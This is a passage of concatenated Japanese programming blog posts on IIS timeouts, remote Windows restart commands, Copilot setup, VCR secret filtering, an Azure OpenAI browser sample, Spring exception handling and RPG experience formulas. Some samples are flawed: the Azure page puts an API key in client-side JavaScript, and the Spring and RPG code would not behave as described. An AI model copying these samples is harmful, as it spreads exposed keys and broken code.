 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/3d65c926-adc0-56f1-915d-8bb19e473637.png)

* 接続ウィンドウからDefault Web Siteを右クリックして、Webサイトの管理 > 詳細設定を選択する 
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/c7947d8d-073b-3a7a-71f7-e46d1008d2a9.png)

* 接続のタイムアウト（秒）を任意に設定する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/6c3768ee-d1c5-90ee-b9a2-8dd6f33fc93e.png)

* 操作ウィンドウから再起動をクリックして、設定を反映する
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2852081/c0907d67-280e-7955-ffa5-a33300814c1d.png)


# 4. 参考文献

https://learn.microsoft.com/ja-jp/sharepoint/troubleshoot/lists-and-libraries/request-timed-out-when-upload-large-file-to-library
Windows10をリモートから再起動する

# 1. はじめに
* リモートデスクトップ接続するパソコンが調子が悪いと時に、接続元からパソコンを再起動したい

# 2. 動作環境
* Windows 10

# 3. 操作手順
* コマンドプロンプトを起動する

* 接続先にログインする
```dosbatch
 C:> net use \\[接続先PCのIPアドレス] /user:[接続先PCのユーザ] [パスワード]
 --rem 例 net use \\255.255.255.255 /user:admin password
```

* 再起動のコメントを入力する
```dosbatch
C:> shutdown /m [接続先PCのIPアドレス] /r /f
--rem 例 shutdown /m 255.255.255.255 /r /f
```

# 4. 参考文献

https://www.thinqa.net/2020/04/10/483
Extractive Question Answeringが速い !!

文章に対しての質問を，文章中から抜き出して回答するタスク"Extractive Question Answering"(以下QA)というものがあります．Hugging Faceを探してみると訓練済みモデルがいくつかあったので，そいつを使って，ローカルで動くQAアプリを作ってみました．

動作例です↓．これはMacbook Pro上で動かしているものですが，とても速く動いているのが分かります．答えの候補をいくつか挙げ，それぞれ抜き出した区間をハイライトで確認できるようにもしています．
![06.30.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3116310/a1a261db-9806-ee9f-0320-00ef4b7e4529.gif)

リポジトリは以下からアクセスできます．

https://github.com/Mya-Mya/QAbot

## QAの回答を数候補取り出す方法
今回はDistil BERTモデルを使ったQAタスクの実装を利用しました．

コンテキスト文のトークン長を$N$，トークン列を$c=[c_1,\dots,c_N]$とし，質問文のトークン長を$M$，トークン列を$q=[q_1,\dots,q_M]$とします．この時，Distil BERTには
```math
x=[S,q_1,\dots,q_M,S,c_1,\dots,c_N,S]
```
という長さ$M+N+3$のベクトルを与えます．なお，$S$はコンテキスト文と質問文を隔てたりするのに使われるトークンです．コンテキスト文のトークン列は$[M+3,M+3+N]$の添字区間にあります．
この入力に対し，Distil BERTは$y^{(1)},y^{(2)}$という2つのベクトルを出力します．ベクトルの長さはそれぞれ入力と同じ$M+N+3$でが，回答に関する情報は$[M+3,M+3+N]$の添字区間内に載っています．$y^{(1)},y^{(2)}$からこの添字区間内だけを取り出したベクトルをそれぞれ
```math
s=[s_1,\dots,s_N]\\
e=[e_1,\dots,e_N]
```
とします．
回答情報は，コンテキスト文のトークン列からどの区間$[ i^* , j^* ]$を抜き出せばよいか，という情報になります．この区間の始点$ i^* $と終点$ j^* $は$s,e$から，以下のようにして得られます．
```math
i^*=\arg\max_{i=1,\dots,N} s_i \\
j^*=\arg\max_{j=1,\dots,N} e_i
```
Distil BERTは，質問文に対する回答としてコンテキスト文のどこから抜き出せばよいか，その場所の始点と終点になる確らしさ$s,e$をそれぞれ計算しているのです．

ただ，このやり方だと回答が1通りしか得られませんが，必ずしもその回答が合っているとは限りません．また，仮に$ i^* > j^* $となっていると，回答が得られなくなってしまいます．なので，以上のアルゴリズムは使わず，回答である確率が高い順に候補を$k$個挙げられるものを作りました．その区間が回答である確らしさは，始点になる確らしさと終点になる確らしさの和で表すこととしました．つまり．その区間のスコア$S_{ij}$は
```math
S_{ij}=s_i+e_j \qquad 1\le i\le j \le N
```
となります．これを全ての区間において計算し，$S$の数値の大きい順に並べていくのです．

## Flaskでやりとり
このアプリは後ろではPythonが動いていて，その結果をJavaScriptで表示しています．

```mermaid
sequenceDiagram

participant JavaScript
participant Python

JavaScript->>Python: コンテキスト文と質問文を送信する
Python->>Python: QAタスクを実行して回答を得る
Python->>JavaScript: 回答を送信する
JavaScript->>JavaScript: 回答を表示する
```

通信にはPythonのFlaskを使いました．また，CORSオリジンの問題に対しては，flask_corsライブラリを使用しました．

## まとめ
ローカルPCでは動きそうにもないほどの大きな言語モデルが話題になっています．しかし，ローカルPCでも十分に動く小さな言語モデルでも，中には便利なものがあります．私はこのQAアプリは論文について質問したりするのに活用しています．このような言語モデルを探して遊んでみるのも楽しいと思います．
GitHub Copilot を会社アカウントに導入する


# はじめに

新しい事を始めるとき、導入するとコストがいくら掛かるんだろうとか、適用範囲はメンバー全員？個別指定？、全体に影響するような事は無い？ といった事を事前に調査する機会も多いかと思います。そんな、サービスを管理されている方の手助けになればと思い、残した備忘録となります。


# 手順

管理画面「[Copilot > Access](https://github.com/organizations/d-publishing/settings/copilot/seat_management)」 のページから、「Enable GitHub Copilot」ボタンを押下します。

:::note warn
管理画面のリンクは、管理権限が無いと404ページが表示されます
:::

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/77b997fb-04c4-3cfc-e127-591c23abe839.png)

すると、管理アカウントの情報が不足している場合、登録を求められますので、必要な情報を入力していきます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/cc322e5f-043a-4e36-53fc-1804004cb90e.png)

スクリーンショットを撮り忘れましたが、この後、利用するクレジットカードの確認画面が表示されます。

カード確認後、「Suggestions matching public code」を設定する画面が表示されますので、会社のポリシーに合った選択を行います。

:::note info
管理画面 「[Copilot > Policies](https://github.com/organizations/d-publishing/settings/copilot/policies)」 より、後から変更可能です
:::

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/0fcd2ce8-fc4a-82e8-7228-9d55f4947064.png)


GitHub Copilot 利用するメンバーを設定します。
全メンバーも選択出来ますが、今回はテスト的に始めたいという事もあり、利用メンバーを限定して進めます。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/c15b4672-b2cc-72ba-cbad-c623f58f6311.png)

「add seats」ボタンから、メンバー または、チーム を指定して登録が行えます。Githubでよく見るメンバー追加のダイアログが出ますので、すぐ理解出来るかと思います。

「Save and Finish」 ボタンを押下して、完了となります。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/3d4dc643-ab11-d5e4-084a-30d396eb0555.png)

管理画面「[Copilot > Access](https://github.com/organizations/d-publishing/settings/copilot/seat_management)」 から、 Copilotの無効化や利用メンバーの管理が出来るようになっています。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/84361020-188e-d5df-555f-08e7378a9478.png)


実際、RubyMineからCopilotを利用してみると、最終のアクティブが確認できました。
ここから、利用していないメンバーの管理も出来そうですね。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/d3362e15-dd0d-fb14-325d-53f0fa9aee7c.png)

以上が、会社アカウントへのCopilot導入手順となります。

許可されたメンバーへは、Githubより案内メールが配信されていますので、
案内に沿って、Copilot拡張機能をエディタへインストールし利用を開始します。

実際にRubyMineからCopilot利用する手順は、[こちら](https://qiita.com/dpkawa/items/fde1c943cd7d102c68fc)をご覧ください。

https://qiita.com/dpkawa/items/fde1c943cd7d102c68fc
VCRでHeaderに入っているAuthorizationのパスワードトークンを隠したい。


## 概要
rspecで[vcr](https://github.com/vcr/vcr)というテストで投げたAPIリクエストを初回はymlにキャッシュしておいて、再実行した時はビデオデッキがカセット(cassete)を読み出すようにymlからレスポンスデータを再現してテストしてくれる便利な代物があるのですが、リクエストヘッダもそのまま残してくれているようで`Authorization`のトークンなどをそのまま残らないように設定できる方法をメモしました。


### 問題例

#### 出力されたvcrのカセットファイル
```yml:vcr/vcr_cassette/favorite_hello.yml
http_interactions:
- request:
    method: post
    uri: https://example.com/api/v1/favorite
    body:
      encoding: UTF-8
      string: '{"comment":"hello"}'
    headers:
      Content-Type:
      - application/json
      Authorization:
      - Basic 000000_MySecretP@ssWordToken_000000
      X-Http-Method-Override:
      - POST
# 中略
```
※今回は仮に`000000_MySecretP@ssWordToken_000000`をセキュリティ上、コミットに残したくない文字列とする。


#### specの設定ファイル
```rb: spec_helper.rb

VCR.configure do |config|
  config.cassette_library_dir = "vcr/vcr_cassettes"
  config.hook_into :webmock
  
  # パスワードトークン隠したかった。でもこれじゃ隠せてないw
  # config.filter_sensitive_data("Basic *****") { 'Basic 000000_MySecretP@ssWordToken_000000' }

  # ちょっと改善してみたが、これはトークンの生成ルールが透けて見えてるような気がする。
  config.filter_sensitive_data("Basic *****") { "Basic #{Base64.strict_encode64([ENV.fetch("ID", nil), ENV.fetch("PW", nil)].join(":"))}" }
end
```


### 対応
config.filter_sensitive_dataメソッドをクロージャにすると第1引数にvcrの内容がそのままオブジェクトで取得できるみたいなので、それを利用することにした。

#### specの設定ファイル
```rb: spec_helper.rb

VCR.configure do |config|
  config.cassette_library_dir = "vcr/vcr_cassettes"
  config.hook_into :webmock
  
  # リクエストの`Authorization`の値がある場合は直に取得して秘匿するようにした。
  config.filter_sensitive_data("Basic *****") { |interaction|
    interaction.request.headers["Authorization"][0] if interaction.request.headers["Authorization"].present?
  }
end
```

#### 出力されたvcrのカセットファイル
```yml:vcr/vcr_cassette/favorite_hello.yml
http_interactions:
- request:
    method: post
    uri: https://example.com/api/v1/favorite
    body:
      encoding: UTF-8
      string: '{"comment":"hello"}'
    headers:
      Content-Type:
      - application/json
      Authorization:
      - Basic *****
      X-Http-Method-Override:
      - POST
# 中略
```
※`Authorization`のトークンが`Basic *****`に置換されている。




## 参考記事
https://qiita.com/kazuooooo/items/30971a40511ea48da4a2
https://qiita.com/gotchane/items/c2c29c0063bd44246510
https://stackoverflow.com/questions/60412825/hiding-sensitive-data-in-vcr#comment127692395_60415745
Azure OpenAI API をHTMLで呼び出す最小サンプル

# 本当にシンプルなコードです

Azure側の準備が終わって簡単に簡単にそれっぽく試したい。
これを元手にHTMLや機能をリッチにしていきたい。
そんなコードです。

> わざわざQiitaに投稿するほどのものではないのですがそれでもこういう最小サンプルは初学者の何かの役に立つと思うので投稿しちゃいます！

# コードはこれ

APIキーやデプロイ情報は各自読み替えてください。
結果はコンソールに出るだけです。

```html
<!DOCTYPE html>
<html lang="ja">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>AI</title>
</head>

<body>
    <script>
        let userMessage = 'こんにちは'
        let systemsettings = {
            "role": "system",
            "content": `
                会話のシミュレーションを行います。
                ・ビジネスコンサルタントです
                ・フレンドリーに前向きです
                ではシミュレーションを開始します。
            `
        }

        let message = [];
        message.push(systemsettings);
        message.push({ 'role': 'user', 'content': userMessage });

        const url = 'https://*****.openai.azure.com/openai/deployments/*****/chat/completions?api-version=*****';
        fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json',
                'api-key': '*****',
            },
            body: JSON.stringify({
                'model': 'gpt-3.5-turbo',
                'stream': false,
                "max_tokens": 400,
                "temperature": 0.7,
                "frequency_penalty": 0,
                "presence_penalty": 0,
                "top_p": 0.95,
                "stop": null,
                'messages': message,
            }),
        })
        .then((response) => {
            return response.json();
        })
        .then((data) => {
            console.log(data.choices[0].message.content);
        });
    </script>
</body>

</html>
```
RubyMineでGithub Copilotを利用する

# はじめに
GitHub Copilot概要ページ「JetBrains IDE」の手順にそって設定するだけで、非常に簡単に導入出来ました。


# 利用環境
RubyMine 2023.1
macOS Ventura 13.4

# 必要な時間
5分程度

# 導入手順
RubyMine を起動
メニュー: RubyMine > Settings... を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/ad40d32f-aa78-2aa5-1a68-41f1856c9d79.png)

プラグイン > Marketplace を選択し「Github Copilot」 で検索
「Github Copilot」の「インストール」を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/07b4daa1-e56d-4395-6451-3cae695e8dc0.png)

インストール完了後「IDEを再起動」ボタンを押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/803da800-f648-ef59-e5bd-2b4a98f812e3.png)

RubyMine再起動後、
メニュー: ツール > Github Copilot > Login to Github を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/77f256ae-7812-9332-1b8b-16ba008056ff.png)

「Copy and Open」を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/b3f1e84a-53be-8e69-35a1-7aae0a5349f5.png)

ブラウザが立ち上がり アクティベーションページが表示されます。
クリップボードにデバイスコードがコピーされていますので、貼り付け後「Continue」を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/c0857fb2-4198-0e5b-cc45-29c53640a038.png)

内容を確認し「Authorize Github Copilot Plugin」を押下
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/b1a81439-9078-23b6-3815-5cdd989d86c5.png)

以上で完了となります。

# Open Github Copilot にショートカットキーを設定
### Setting から設定
キーマップから「Open Github Copilot」 で検索
メインメニュー > ツール > Github Copilot > Open Github Copilot を選択し、ダブルクリック
キーボードショートカットの追加
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/b80d4d67-ec8e-af4c-9df7-431b53268450.png)

使いやすいショートカットキーを登録
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/cf0137ec-7bde-054d-5049-2303bc1293fc.png)

ショートカットキーでGithub Copilotを表示
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/555ec4e0-efc6-3a77-b5c5-20ed04e64761.png)


# 自動補完をOFFに設定

### Setting から設定
「Automatically show completions」のチェックを外す

自動補完OFF設定中でも、ソースコード上で 「Option + ¥」 キーを押下することで、補完を行えます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/b8fe6520-0242-c6ea-da5f-c39fb7fe2b1f.png)


# ファイルタイプ毎にCopilotを無効にする

### メニューから設定
無効にしたいファイルタイプを編集中に、メニューを開いて選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/10d7ed8e-e52f-2f88-8c9e-f8460043c7dc.png)


### Setting から設定
「Disabled languages」から、無効にしたい言語を選択
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/251940/dff79e47-43d7-f147-894e-2578d6a02647.png)


# 参考リンク

https://docs.github.com/ja/copilot/getting-started-with-github-copilot
【Spring】AOPの@AfterThrowingと@ExceptionHandlerの使い分けについて

# AOPの@AfterThrowingと@ExceptionHandlerの役割と使われ方

SpringのAOPの@AfterThrowingと@ExceptionHandlerは、どちらも例外処理を行うためのアノテーションですが、異なる役割と使われ方を持っています。

@AfterThrowingアノテーションは、特定のメソッドが例外をスローした後に実行される処理を定義します。このアノテーションを使用すると、例外が発生した後に行う特定の処理やログ出力などを行うことができます。@AfterThrowingはAOPによって提供される機能であり、アスペクト指向プログラミングの一部です。

一方、@ExceptionHandlerアノテーションは、Springフレームワークのコントローラ内で特定の例外を処理するために使用されます。通常、Controllerクラス内に定義され、特定の例外が発生した場合に実行されるメソッドを指定します。このアノテーションを使用すると、例外ごとに異なる処理を定義することができます。

要約すると、@AfterThrowingはAOPにおいて、メソッドが例外をスローした後の処理を指定するために使用されます。一方、@ExceptionHandlerはSpringフレームワークのコントローラ内で特定の例外を処理するために使用され、例外ごとに異なる処理を定義することができます。

# @AfterThrowingと@ExceptionHandlerのサンプルコード
## @AfterThrowingのサンプルコード
```java 
@Service
public class UserService {
    
    @AfterThrowing(pointcut = "execution(* com.example.UserService.*(..))", throwing = "ex")
    public void handleException(JoinPoint joinPoint, Exception ex) {
        // 例外がスローされた後の処理をここに記述します
        // 例えばログ出力や通知、リトライなどの処理が可能です
        System.out.println("例外がスローされました: " + ex.getMessage());
    }
    
    // 例外をスローするメソッドのサンプル
    public void deleteUser(Long userId) {
        if (userId == null) {
            throw new IllegalArgumentException("ユーザIDが無効です");
        }
        // ユーザの削除処理を実行する
        // ...
    }
}
```

上記の例では、@AfterThrowingアノテーションを使用して、UserServiceクラス内のメソッドが例外をスローした後に実行される処理を定義しています。この場合、execution(* com.example.UserService.*(..))というポイントカット式を使用して、UserServiceクラス内のすべてのメソッドに対して処理を適用しています。throwing属性を使用して、例外オブジェクトを取得し、適切な処理を行います。

## @ExceptionHandlerのサンプルコード
```java 
@ControllerAdvice
public class GlobalExceptionHandler {
    
    @ExceptionHandler(IllegalArgumentException.class)
    public ResponseEntity<String> handleIllegalArgumentException(IllegalArgumentException ex) {
        // IllegalArgumentExceptionが発生した場合の処理をここに記述します
        // 例えばエラーメッセージの作成やHTTPレスポンスの生成などが可能です
        return ResponseEntity.status(HttpStatus.BAD_REQUEST).body(ex.getMessage());
    }
    
    // 他の例外に対する処理も追加できます
    
    // ...
}
```
上記の例では、@ExceptionHandlerアノテーションを使用して、GlobalExceptionHandlerクラス内のメソッドがIllegalArgumentExceptionが発生した場合に実行される処理を定義しています。ControllerAdviceアノテーションをクラスに指定することで、この例外ハンドラが全体のコントローラに対して適用されることになります。handleIllegalArgumentExceptionメソッド内では、エラーメッセージの作成やHTTPレスポンスの生成などを行っています。

これらは簡単なサンプルコードであり、実際のアプリケーションにはさまざまなケースがあります。必要に応じてカスタマイズして使用してください。

# 使い方によっては同じ役割を担える

両方のアノテーションは例外処理に関与するため、一部のケースでは同じ結果を得ることができます。

ただし、重要な違いも存在します。@AfterThrowingはAOPの一部であり、クラスのメソッドが例外をスローした後に追加の処理を行います。一方、@ExceptionHandlerはSpringフレームワークの機能であり、コントローラ内の特定の例外を捕捉して処理するために使用されます。

@AfterThrowingは、特定のクラス内の複数のメソッドで例外処理の共通のロジックを適用する場合に便利です。一方、@ExceptionHandlerは、コントローラ内で特定の例外に対して個別の処理を行いたい場合に役立ちます。

したがって、どちらのアノテーションを使用するかは、具体的な要件やアプリケーションの設計によります。適切なアノテーションを選択し、それぞれの特性を活用することで、効果的な例外処理を実現できます。
iOSシミュレーターで画面収録を撮り、GIF化する方法

# はじめに
iOSシミュレーターで画面収録を撮り、GIF化する方法を紹介します。

# やり方
## 画面収録
1. オプションキーを押しながら、シミュレーター右上の3つのボタンのうち真ん中のボタンをクリックします。
2. 画面収録を終えるには、再度真ん中のボタンをクリックします。

## GIF化
1. 画面収録を終えると、シミュレーター右下に画面収録のプレビューが表示されます。
2. プレビューを右クリックすると、メニューが表示されるので、そこから「Save as Animated GIF」を選択します。これで、GIF化された画面収録が保存できました。
![スクリーンショット 2023-06-30 21.56.53.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2366249/a5cc3ffd-2bb2-5cab-7dc9-429e5220a1a2.png)

 
# おわりに
iOSシミュレーターで画面収録を撮り、GIF化する方法を紹介しました。シミュレーターの機能が充実していて、便利ですね👍
【Unity】RPGの経験値のアルゴリズム

## はじめに
学習用の自作RPGを個人で作成しています。
RPGといえばレベリング。
そのレべリングをするためにキャラに「経験値」という概念を持たせる必要がありました。
経験値が一定の値に達したらレベルが上がるように実装しようと思ったのですが

レベルアップするための経験値の値は？
敵を倒したら得られる経験値はどうやって決めようか？

と考え込んだ末、小難しい数式に出会ったので備忘録です。

## 等比数列を使って次のレベルアップまでの経験値を算出する
例えばレベル1→2に上がるまで`10`の経験値が必要だとします。
2→３に上がるときは`15`、3→4に上がるときは`23`
31→32に上がるときは`1917511`の経験値が必要になります。

このようにレベルが上がっていくにつれて、次のレベルに上がるための経験値を増やしていかないといけません。
そこのバランスが良くないと、とてつもなくレベリングが簡単になったり、逆に難しくなったりしてゲーム性が壊れてしまう可能性が大です。（ゲームプランナーさんはすごい。。）

上記の次のレベルに上がるための経験値をどのように算出するか
ここで等比数列を使います。

今のレベルから次のレベルに上がるための経験値を『ネクスト経験値』とするならば
上記の`ネクスト経験値`はレベルが1上がるにつれて、`1.5倍`ずつ増えていきます。

等比数列の言葉を使うなら、初項が`10`、公比1.5になります。
公式はこんな感じ


等比数列の一般項をfor文で書くと以下のように求められます。

```c#
int Level = 20; // 現在のレベル
float a = 10; // 初項  
float l = 1.5f; // 公比
float nextExperience; // ネクスト経験値

nextExperience = l;

// 公比を「レベル−１」の数だけかけます。
for (int i = 1; i < Level - 1; i++)
{
      nextExperience *= l;
}

// 初項をかけます
nextExperience *= a;

```

数学の公式を見てみると、小難しく思えますが、コードで書いてしまえば簡単に見えてきますね。
乗数なんかはfor文で書いてしまえば、お茶の子さいさいです。

でもネクスト経験値が算出できても、自作のゲームでは仕様上これを使ってレベリングの実装は難しかったので、『累積経験値』という概念をキャラクターに持たせて実装しました。
現在の累積経験値と次のレベルの累積経験値がわかれば、次のレベルになるまであとどれくらいの経験値が必要か分かりますね。
こちらは長くなりそうなので、近日記事にしたいと思います。

See you later (最近英会話の勉強してる筆者)
チームメンバーを増員してもらった時に上手くいったこと、上手くいかなかったこと

昨年6月頃から継続してチームメンバーを増員してもらいながら
チームとしてモウダメダーという状況から少しずつ製品を改善していける体制を整えてきました。
その際の取り組みとして上手くいったこと、上手くいかなかったこととどういう工夫をしたのかを記します。

# 製品の状況
人事給与システムのデータ投入・照会など従業員が利用する機能群をまとめた製品
（例）
住所変更、通勤経路の変更などの申請
給与明細、社員情報、組織図の照会
など

運用期間 約20年
ユーザー数 約1000社

# チームが担当する機能の状況
- 製品内での人の配置に関する情報の人事給与本体からの連携とその情報を利用した条件設定機能の保守
    - ほぼ全ユーザーが利用しておりある程度枯れているが、人事給与本体からデータを連携してくる部分はトラブルが緊急対応に発展しやすく、条件設定は複雑な設定も組めむことができ運用サポートする負荷は高い
    - 細かい項目の対応漏れや複雑な条件を組むときの機能不足は残っている
    - レガシーコード
    
- 発令関連の申請や内示・組織図等の照会機能の保守・機能追加
    - 利用率がまちまちで利用ユーザーがかなり少ない機能もある
    - 利用ユーザーが少ない機能はまだ多くの不具合が残っている
    - 利用ユーザーが少ない機能は詳しい人が居ない
    - バックログに積んだ不具合や機能追加要望が500件以上ある
    - 当然のごとくレガシーコード

# 2022年5月までのチームの状況
チームメンバー2人
- プロダクトに異動して3年程、発令関連の機能を中心に触ってきたが、まだ担当機能で知らない機能もあるチームマネージャー（私）
- IT未経験で中途入社し約2年程一緒に仕事をしてきたメンバー

運用問題への対応で手いっぱいになっており、緊急の不具合数件を修正するような製品改善しか行えない
`運用問題発生 ⇒ 不具合発覚 ⇒ 運用回避 ⇒ 半年後 ⇒ 別のユーザーで同じ不具合起因の運用問題発生`
というようなサイクルを繰り返し、未来に希望が持てずモウダメダーという状態

# チームメンバーの増員
2022年6月から12月
徐々に増員していただき、現在なんと8人に！ありがたやー。

6月
- 製品知識の豊富なベテランメンバーが休職から復帰し加入（長く担当していた機能は別機能）
- IT経験約3年の中途入社メンバーが加入

7月
- 現場経験豊富なBPさんが入場

10月
- 組み込み系の開発経験のある中途入社メンバーが加入

12月
- 現場経験豊富なBPさんが入場

1月
- ユーザー対応部門から異動してきたメンバーが加入

中途入社や開発部門以外から異動してきたメンバーは３カ月程度の研修があるため
すぐに開発に入ってもらった訳ではないですが、
きちんと戦力化すれば運用改善が行っていける！と未来に希望が持てる状態になりました。

# うまくいかなかったこと
はじめ新しく入ってきた方々に機能単位で分担してもらう形で
運用サポートと不具合修正や機能追加案件を対応してもらったのですが、
これはあまりうまくいきませんでした。

我々が保守している製品は約1000社の利用ユーザーの業務を単一のコードでサポートし
約20年の間、継ぎ足し継ぎ足し機能追加され続けて動いているアプリケーションで
機能としてもソースコードとしても複雑なものとなってしまっています。
当然いきなり難しい修正をやってもらうことはできないので
分担した機能の運用サポートをやってもらいつつ、
比較的簡単に行えそうでデグレードのリスクの少ない案件から対応をお願いしました。
しかしそれでも以下のような問題が発生しました。

- 製品が複雑で初見で一人でキャッチアップすることが難しい
- 教える方も詳しくない機能では調べながら教えることになるためキャッチアップに時間がかかる
- 教える必要がある内容がバラバラなので時間がかかる（教える人がボトルネックになる）
- 運用サポートが割り込みで入り、不具合修正や機能追加を集中して行えない

# うまくいったこと
しばらくチーム運営を続けるもなかなかうまくいかないなぁと感じたため、問題点をつぶすような対策を取りました。

- 運用サポートが割り込みで入り、不具合修正や機能追加を集中して行えない
⇒製品知識の豊富なベテランメンバーともう一人を持ちまわりで運用サポート担当になってもらい、他のメンバーに差し込み案件が発生しないように調整した

- 教える必要がある内容がバラバラなので時間がかかる（教える人がボトルネックになる）
⇒チームが抱える課題を整理し、修正が安全に行えて効果の大きい領域を選定。全員がその領域に集中して取り組んだ。

全員で同じ領域に集中して取り組むことで以下のような良いことが起こりました。
- 取り組む内容が近いので一度に教えることができる
- 案件に取り組んでいる時もメンバーどうしで教えあうことができる、レビューもできる
- 以前案件に取り組んだ人が次に入ってきた新人さんに教えられる
- この領域の理解を製品の全体像を掴むきっかけにすることができる

特に案件に取り組んだ人が次の新人さんに教えられるという教育が連鎖する部分はかなり良く作用し、
どんどん人を受け入れても大丈夫という体制を作ることができたと思います。

# これから
うまくいったことにも記載した通り、
取り組んでもらった領域を最初の取っ掛かりとして製品理解を進めてもらい
有識者の居ない機能や難しい案件にも対応範囲を広げていってもらっています。
まだまだ日々新しい問題が発生し続けていますが
顧客の運用からもらったフィードバックを製品に還元できない状況を脱し
少しずつですが着実に製品を改善できており、それが徐々に加速できていると感じます。

これからより多くの改善をユーザーに届けていきたいです。
C言語でif(a<b<c)と書いただけなのに

# if(a<b<c)
C言語においてif(a<b<c)という書き方は、文法上間違ってはいません。想定外の動きはしますが、少なくともコンパイルは通ります。

# サンプルコード
```c
#include <stdio.h>
int main(void){
    int a=2, b=3, c=5, d=4;

    if(a<b<c){
        printf("Yes! %d < %d < %d is true.\n", a, b, c);
    }
    else{
        printf("No!  %d < %d < %d is false.\n", a, b, c);
    }

    if(b<c<d){
        printf("Yes! %d < %d < %d is true.\n", b, c, d);
    }
    else{
        printf("No!  %d < %d < %d is false.\n", b, c, d);
    }
}
```

実行結果
```
Yes! 2 < 3 < 5 is true.
Yes! 3 < 5 < 4 is true.
```

 なんでやねん。

# 解説

　大前提として、C言語ではtrueは1、falseは0と認識されます。
```c
if((5==5)==1){
    //動く
}
```
　と言うように、5==5はtrueなので1と変換され、その後1==1が計算されて最終的に1となります。

　では`2 < 3 < 5`は？
　まず2<3が計算されます。trueですので`2 < 3 < 5`は`1<5`となり、`1<5`が検証されて最終結果は1となります。
　同様に`3 < 5 < 4`も`(3<5) < 4`→`1 < 4`となり最終結果は1となります。

# 結論
　C言語でif(a < b < c)と言う書き方はダメ。
JavaScript の class 構文を使ってシングルトンとかScalaのコンパニオンクラスを作ってみた

## はじめに

JavaScript でサラッと class 構文を使ってプログラムを書くのが好きなのですが、シングルトンを書くのがやや面倒に感じていました。
2023年6月30日現在で、ググってみたのですがあまり良さそうな例がないので作ってみることにしました。

```JS
new class S1 {
}
const s1 = new S1()
```

のように書けばできるわけですが new class な行をconstの行でまとめて書きたいです。

## 1. 無名クラスを使ったシングルトン

無名クラスをつかってまとめて書いてみました:

```JS
const s1 = new class {
    dt = "companion"
    constructor() { this.dt2 = "dt2!" }
    hoge() { return "hoge" }
    fuga() { return this["fuga1"]() }
    fuga1() { return this.dt }
}
console.assert(s1.hoge()=="hoge")
console.assert(s1.fuga()=="companion")
console.assert(s1.dt=="companion")
console.assert(s1.dt2=="dt2!")
```

１行短く書けていい感じです。

## 2. Scalaのコンパニオンオブジェクトを作りたい

Scalaのobject構文を使うとクラス名と対となるシングルトンが作れて便利です。
JavaScriptでも同様に書けると嬉しいです。
プロトタイプ周りをうまくやれば出来るはず。
objectという名前の関数を作ってObject.assingな感じで使えるようにしてみました:

```JS
function object(s,p) {
  p=p.prototype
  for (let k of Object.getOwnPropertyNames(p)) s[k] = p[k].bind(s)
  const o = new p["constructor"]()
  for(let k in o) s[k]=o[k]
  return s
}
```

使い方:

```JS
class App {
    dt = "classdata"
    constructor() { this.dt2 = "classdt2!" }
    app() { return this.dt }
}
object(App, class {
    dt = "companion"
    constructor() { this.dt2 = "dt2!" }
    hoge() { return "hoge" }
    fuga() { return this["fuga1"]() }
    fuga1() { return this.dt }
})
console.assert(new App().app()=="classdata")
console.assert(new App().dt2=="classdt2!")
console.assert(App.hoge()=="hoge")
console.assert(App.fuga()=="companion")
console.assert(App.dt=="companion")
console.assert(App.dt2=="dt2!")
```

結構 Scala と似た感じでコンパニオンオブジェクトが書けるようになりました。

## object関数を使ってシングルトンクラスを作る

シングルトンしかない場合にも object 関数を使ってシングルトンが作れると良いですよね。
安心してください。以下のように書けば、シングルトンのみを作ることが出来ます:

```JS
const s = object({}, class {
    dt = "companion"
    constructor() { this.dt2 = "dt2!" }
    hoge() { return "hoge" }
    fuga() { return this["fuga1"]() }
    fuga1() { return this.dt }
})
console.assert(s.hoge()=="hoge")
console.assert(s.fuga()=="companion")
console.assert(s.dt=="companion")
console.assert(s.dt2=="dt2!")
```

あとから同名のクラスを作りたいときは`object({},...}`の`{}`をクラス名に変えてください。

## まとめ

JavaScript の class 構文を使ってシングルトンを書く方法を考えました。
また、Scalaのコンパニオンオブジェクトと同様のシングルトンを作る方法を考えました。
コンパニオンオブジェクトを作るようにシングルトンのみを作ることもできます。
このようなテクニックを使うと短く綺麗にプログラムが書けるのでお試しください。
「私 + GitHub Copilot」 VS 「私」

# はじめに
今流行りの、GitHub Copilotですが、どれくらいすごいいものなのか、現在未利用の私が利用することでどう変わるかを測定することで示したいと思います。
# 手順
**①チャットGPTに以下の指示を行う。**
```html
